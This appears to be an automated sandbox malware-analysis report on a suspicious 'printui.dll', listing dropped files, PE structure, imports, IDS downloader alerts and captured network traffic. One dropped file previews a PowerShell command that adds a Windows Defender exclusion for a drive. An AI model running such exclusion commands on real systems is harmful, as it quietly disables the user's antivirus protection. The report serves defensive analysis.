Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_kam0e1mn.5hj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_kekxzps2.n2t.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ksmgyl54.wqd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_mmfelzr4.nje.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_n3b4iukm.ihi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_n3if0pto.bei.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ow23mtgp.wzd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pbq2rdde.4f0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pibbinp4.msu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qihkuf4v.wfq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qkbwshqi.12v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_rslltrvp.hfn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_stsxuban.ent.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_tbwnc4ef.wei.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ueyzcmvk.kap.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ufmdr0go.cng.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xffa11n4.stl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xz0ofzix.q4i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ya2wczq2.vig.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	45
Entropy (8bit):	4.611638863564413
Encrypted:	false
SSDEEP:	3:I+ICceGAFddGeWLCXAhj:IPeGgdEY0j
MD5:	73FAA44DC2FBFDAD753EA6A050D28132
SHA1:	808BAC9018AC08E38DB96E7D1034105DA8517A61
SHA-256:	8F2FDF96BB89FDC39A30E117772A831F02860D488F2C2EE0B4A44CA3FCE886AE
SHA-512:	E57BCEF9A9AF2821B38CDAEEFF72576FC4158BD8473509408838946AFA6D2DBBAC65A80C85055266F1EE1DB768F09F30E4AE2EDA863C98AF8C68677A29158BDB
Malicious:	false
Preview:	Add-MpPreference -ExclusionPath "E:\"..exit..

Static File Info

General

File type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Entropy (8bit):	4.089799901957784
TrID:	Win64 Dynamic Link Library (generic) Net Framework (111504/3) 44.42% Win64 Dynamic Link Library (generic) (102004/3) 40.63% Win64 Executable (generic) Net Framework (21505/4) 8.57% Win64 Executable (generic) (12005/4) 4.78% Generic Win/DOS Executable (2004/3) 0.80%
File name:	printui.dll
File size:	69'161'984 bytes
MD5:	a9b4742ab300d91fcb97751d071932ab
SHA1:	13b16e0a6d2a0e139d62ea64f5c52feabc01e0e9
SHA256:	9a55de90b6dad957506e91a1f84ded56512bceeb85655d4f9bd11e508d6c6424
SHA512:	3b5b69044e9d98ef1a5a89353301b3f8e1c859a76b3a500daa871f04afb6c869afccb167bc524e791a0e92b18663bd1d9fbc135425ffa396ebfa8c0340bbd171
SSDEEP:	12288:e3NUkh7wdyoBwiXhd64fQlCISP5SvvB76:e3ikOk09rfIfNvA
TLSH:	16E70B01B3ED24F460D980F8A4FE58D5AB68F4A12F1A5DF683BC1D2536125F1AF1A50F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W...6.Y.6.Y.6.Y.N.X.6.Y.N.X"6.Y.N.X.6.Y.I.X.6.Y.I.X.6.Y.I.X.6.Y.N.X.6.Y.6.Y.6.Y...X.6.Y...Y.6.Y...X.6.YRich.6.Y...............

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x18000aaf0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6592A229 [Mon Jan 1 11:29:45 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2efde182d71827b8302aea6963844c11

Entrypoint Preview

Instruction
dec esp
mov dword ptr [esp+18h], eax
mov dword ptr [esp+10h], edx
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 28h
cmp dword ptr [esp+38h], 01h
jne 00007FB94119CA67h
call 00007FB94119DB97h
dec esp
mov eax, dword ptr [esp+40h]
mov edx, dword ptr [esp+38h]
dec eax
mov ecx, dword ptr [esp+30h]
call 00007FB94119C894h
dec eax
add esp, 28h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec esp
mov dword ptr [esp+20h], ecx
dec esp
mov dword ptr [esp+18h], eax
dec eax
mov dword ptr [esp+10h], edx
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [esp+48h]
dec esp
mov eax, dword ptr [eax+38h]
dec eax
mov edx, dword ptr [esp+48h]
dec eax
mov ecx, dword ptr [esp+38h]
call 00007FB94119CA75h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
int3
int3
int3
dec esp
mov dword ptr [esp+18h], eax
dec eax
mov dword ptr [esp+10h], edx
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 58h
dec eax
mov eax, dword ptr [esp+70h]
mov eax, dword ptr [eax]
and eax, FFFFFFF8h
mov dword ptr [esp+20h], eax
dec eax
mov eax, dword ptr [esp+60h]
dec eax
mov dword ptr [esp+38h], eax
dec eax
mov eax, dword ptr [esp+70h]
mov eax, dword ptr [eax]
shr eax, 02h
and eax, 01h
test eax, eax
je 00007FB94119CA8Bh
dec eax
mov eax, dword ptr [esp+70h]
dec eax
arpl word ptr [eax+04h], ax
dec eax
mov ecx, dword ptr [eax+eax+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41ee284	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x41f9000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x41f3000	0x4ed8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x41fa000	0xa18	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x41e9fa0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x41e9e60	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x67000	0x360	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x65d85	0x65e00	8771ee77bf9458f834c2cb4dbb2d045d	False	0.36911905674846623	data	5.764578474648148	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x67000	0x4187df2	0x4187e00	dc39518ee71ec14c244ccafb35ea0e4c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x41ef000	0x3310	0x1400	62e57a591bbf8c2539bcc90e21d398fb	False	0.169921875	DOS executable (block device driver)	2.8137794406296646	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x41f3000	0x4ed8	0x5000	1b7ede69f7ad37f003acb8df9ad87701	False	0.468603515625	data	5.723735103722478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x41f8000	0x15c	0x200	a8ed14d1f0888f6044f324408483f738	False	0.392578125	data	2.8057737286511264	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x41f9000	0x1e0	0x200	b924ba8d963576105e7ff43dc9ced9ea	False	0.533203125	data	4.736973519150467	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x41fa000	0xa18	0xc00	701fd7c2377d817a373e342e49347499	False	0.4348958333333333	data	5.022470795974303	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x41f9060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetEndOfFile, AllocConsole, GetFileAttributesW, SetStdHandle, CreateFileW, CreateDirectoryW, QueryPerformanceCounter, QueryPerformanceFrequency, CloseHandle, Sleep, GetCurrentThreadId, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, InitializeCriticalSectionEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, MultiByteToWideChar, WideCharToMultiByte, LCMapStringEx, GetStringTypeW, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, InterlockedFlushSList, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetModuleFileNameW, GetModuleHandleExW, HeapAlloc, HeapSize, HeapValidate, GetSystemInfo, ExitProcess, GetStdHandle, GetFileType, WriteFile, OutputDebugStringW, WriteConsoleW, GetFileSizeEx, SetFilePointerEx, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, WaitForSingleObject, GetExitCodeProcess, CreateProcessW, GetFileAttributesExW, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapFree, HeapReAlloc, HeapQueryInformation, GetProcessHeap, ReadFile, ReadConsoleW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, RtlUnwind
USER32.dll	FindWindowA, ShowWindow
ADVAPI32.dll	RegSetValueExW, RegOpenKeyExW, RegQueryValueExW, RegCloseKey

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-20T12:14:43.114370+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	58631	185.199.108.133	443	TCP
2024-09-20T12:14:43.572319+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	58632	185.199.108.133	443	TCP
2024-09-20T12:14:45.755376+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	58635	140.82.121.3	443	TCP
2024-09-20T12:14:45.756726+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	58636	140.82.121.3	443	TCP
2024-09-20T12:14:47.201369+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	58639	185.199.108.133	443	TCP
2024-09-20T12:14:47.234398+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	58640	185.199.108.133	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 20, 2024 12:14:40.871711969 CEST	58627	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:40.877126932 CEST	80	58627	208.95.112.1	192.168.2.4
Sep 20, 2024 12:14:40.877336979 CEST	58627	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:40.877854109 CEST	58627	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:40.883481026 CEST	80	58627	208.95.112.1	192.168.2.4
Sep 20, 2024 12:14:41.354490042 CEST	80	58627	208.95.112.1	192.168.2.4
Sep 20, 2024 12:14:41.409578085 CEST	58627	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:41.448632956 CEST	58628	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:41.448746920 CEST	443	58628	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:41.448862076 CEST	58628	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:41.518120050 CEST	58628	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:41.518229008 CEST	443	58628	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:41.789463997 CEST	58629	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:41.794675112 CEST	80	58629	208.95.112.1	192.168.2.4
Sep 20, 2024 12:14:41.797590971 CEST	58629	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:41.798042059 CEST	58629	80	192.168.2.4	208.95.112.1
Sep 20, 2024 12:14:41.803107977 CEST	80	58629	208.95.112.1	192.168.2.4
Sep 20, 2024 12:14:41.998709917 CEST	443	58628	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:41.998980045 CEST	58628	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.005800009 CEST	58628	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:42.005810976 CEST	443	58628	185.199.108.133	192.168.2.4
